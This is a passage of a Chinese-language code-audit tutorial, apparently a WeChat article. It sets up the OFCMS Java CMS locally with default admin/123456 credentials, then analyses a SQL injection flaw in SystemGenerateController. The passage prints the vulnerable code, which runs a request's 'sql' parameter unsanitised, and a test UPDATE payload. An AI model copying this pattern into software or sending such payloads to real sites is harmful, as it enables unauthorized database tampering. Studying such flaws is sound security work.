&#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后一路默认</p><p><img class="rich_pages" data-ratio="0.9038031319910514" data-s="300,640" style="" data-type="png" data-w="1788" src="https://wechat2rss.xlab.app/img-proxy/?k=35576a28&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYknferC5eh6OEX9ribXjWQU55QTtXQIP0ZIpNOLZOPswkZVjicpkxu4Fcg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.8987764182424917" data-s="300,640" style="" data-type="png" data-w="1798" src="https://wechat2rss.xlab.app/img-proxy/?k=c5001104&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkibw95D44NLkC5lIct4J7BrIHialmQ6g26oYoNWgTpaf7GALrgRIbYXNw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.8987764182424917" data-s="300,640" style="" data-type="png" data-w="1798" src="https://wechat2rss.xlab.app/img-proxy/?k=5a22e179&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkFRmHNLJNwIibsvNy1p47LtS048vBqKLDJ0E73xDAECl4LrLoVVwXhtA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.8987764182424917" data-s="300,640" style="" data-type="png" data-w="1798" src="https://wechat2rss.xlab.app/img-proxy/?k=c80c0069&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkyrqqUzrmGOofQ6WCib5HEorZXzX2QoKR3MtUhCMZ74vP8RG1ubKQGtQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ofcms-admin/src/main/resources/dev/conf/</code>文件夹下打开<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">db.properties</code>，修改数据的账号密码</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6092184368737475" data-s="300,640" style="" data-type="png" data-w="1996" src="https://wechat2rss.xlab.app/img-proxy/?k=0358d60a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkr3Sf1kGcQ2neS9qJLplv7Licz1k8HZJ1b8IWtyZOVgjaiaGuqotb6KmA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后修改根目录下的 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">pom.xml</code>，搜索 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">mysql</code>，然后修改成自己机器上的装的版本，最后点击<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">import changes</code></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6213151927437641" data-s="300,640" style="" data-type="png" data-w="2646" src="https://wechat2rss.xlab.app/img-proxy/?k=9b3b5fcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkDlAeGKVP1LwlHjBaNs74pHeSjFBa0m128Avzwf9YHAD581aEFYPmqQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"></code><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后下载需要的 jar 包资源：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.1700404858299596" data-s="300,640" style="" data-type="png" data-w="1482" src="https://wechat2rss.xlab.app/img-proxy/?k=8f4ab13d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYktzhFMeibadbKvefTxuRXLZgUgdaaibRUjnS3sZNbwY3YnNliczDL6icVzQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">配置Tomcat 服务，点击 run--&gt;edit configurations</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4234913793103448" data-s="300,640" style="" data-type="png" data-w="1856" src="https://wechat2rss.xlab.app/img-proxy/?k=f9f527ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYk7ib2W6pibl5Y5KibTsz7do4WicSBdiaf4pOGGSEmOXREP4XaIucQYxrRDyA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后选择 Tomcat 的安装目录：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.2468916518650088" data-s="300,640" style="" data-type="png" data-w="1126" src="https://wechat2rss.xlab.app/img-proxy/?k=5b2a50f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkG0Lm47ToOJrkV0o3ILjvBCMYlvrYsibFZkB74xosq2oAZkyj7pG9adQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6781716417910447" data-s="300,640" style="" data-type="png" data-w="2144" src="https://wechat2rss.xlab.app/img-proxy/?k=7cb0e22c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkW7vP6J4AGgpxKUbEkB8AhDobgya5WfLzTvcCRFJvRekf8c4EruJ6MQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);">端口按照本地情况修改：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6647398843930635" data-s="300,640" style="" data-type="png" data-w="2076" src="https://wechat2rss.xlab.app/img-proxy/?k=1b32db75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkAfgvic9QCB9xLiapClKYTSTnY7Thsr5icspXIUIq8PtRb6icEEAVdyRQTA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后配置 Deployment</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6770623742454729" data-s="300,640" style="" data-type="png" data-w="1988" src="https://wechat2rss.xlab.app/img-proxy/?k=39649f8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkXRGQn1ydEh6G1kNwzQgCY1Ut5TTVQ9D6s4yKxrpJQ59RSpJkptGowg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">选择 ofcms-admin:war</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7047817047817048" data-s="300,640" style="" data-type="png" data-w="1924" src="https://wechat2rss.xlab.app/img-proxy/?k=792f42af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkc1e1HSYTZVUibbZd1xvZzkkQTGj8ak5r3yvAvZPeMFm0eD3tWektUlA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">修改名字为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/ofcms-admin</code></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8690629011553274" data-s="300,640" style="" data-type="png" data-w="1558" src="https://wechat2rss.xlab.app/img-proxy/?k=9567baba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkiaVI01NPibw4JNibVVQvKBTs6KHrVIG4viaeX2KUqrQ85n9iaQanwg1pqnw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">最后打开 MySQL，创建一个名为 ofcms 的数据库，导入<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">fcms/doc/sql</code>下的 sql 文件即可。<br/><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"></code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后启动项目</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6819727891156463" data-s="300,640" style="" data-type="png" data-w="2352" src="https://wechat2rss.xlab.app/img-proxy/?k=38ba9b8b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkoGR5uJH55M0vOENSvHovpK0bbicWNx9HyPwUX0Ryfib9Ympl3rYqSc9A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">即可访问该项目：<br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.593841642228739" data-s="300,640" style="" data-type="png" data-w="2728" src="https://wechat2rss.xlab.app/img-proxy/?k=e03164ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkolibyC4NSN7xSS1TrS2MZbKXtdvWwjWTnicssib41Gudmt7ZJ5QJAeMEQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">站点地址：<a href="http://localhost:8080/ofcms-admin/" target="_blank">http://localhost:8080/ofcms-admin/</a><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">后台地址：<a href="http://localhost:8080/ofcms-admin/admin/login.html" target="_blank">http://localhost:8080/ofcms-admin/admin/login.html</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">用户名：admin</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">密码：123456</p><p><span name="menu_index_11" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、案例漏洞分析</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">漏洞存在的文件的位置为：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java</code></p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">create</span><span style="box-sizing: border-box;">()</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>            String sql = getPara(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;sql&#34;</span>);<br/>            Db.update(sql);<br/>            rendSuccessJson();<br/>        } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (Exception e) {<br/>            e.printStackTrace();<br/>            rendFailedJson(ErrorCode.get(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;9999&#34;</span>), e.getMessage());<br/>        }<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">使用 getPara 获取<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">sql</code>参数，然后update方法直接执行sql 语句，返回 json 格式的数据</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">很明显，这里对于传入的参数没有任何的处理就直接带入执行语句中，造成了 SQL 注入。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在后台中找到该段代码对应的功能：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6171735241502684" data-s="300,640" style="" data-type="png" data-w="2236" src="https://wechat2rss.xlab.app/img-proxy/?k=c4a1a7a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkaDc0weNNHM2sofoGl2sTSmKIFYGj5NK0AeibjT3ZI0Oaacq3PiajCXsQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">抓包传入一句测试的语句：<br/></p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">update</span> of_cms_link <span style="box-sizing: border-box;color: rgb(204, 153, 204);">set</span> link_name=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;panda&#39;</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">where</span> link_id = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">4</span></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4012806830309498" data-s="300,640" style="" data-type="png" data-w="1874" src="https://wechat2rss.xlab.app/img-proxy/?k=ba5ff4d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkMlFRQE4Iyt6hCDHQubibddPOfjhqSCQypCYrt2lWHHU5BQdHFlmBvqw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, 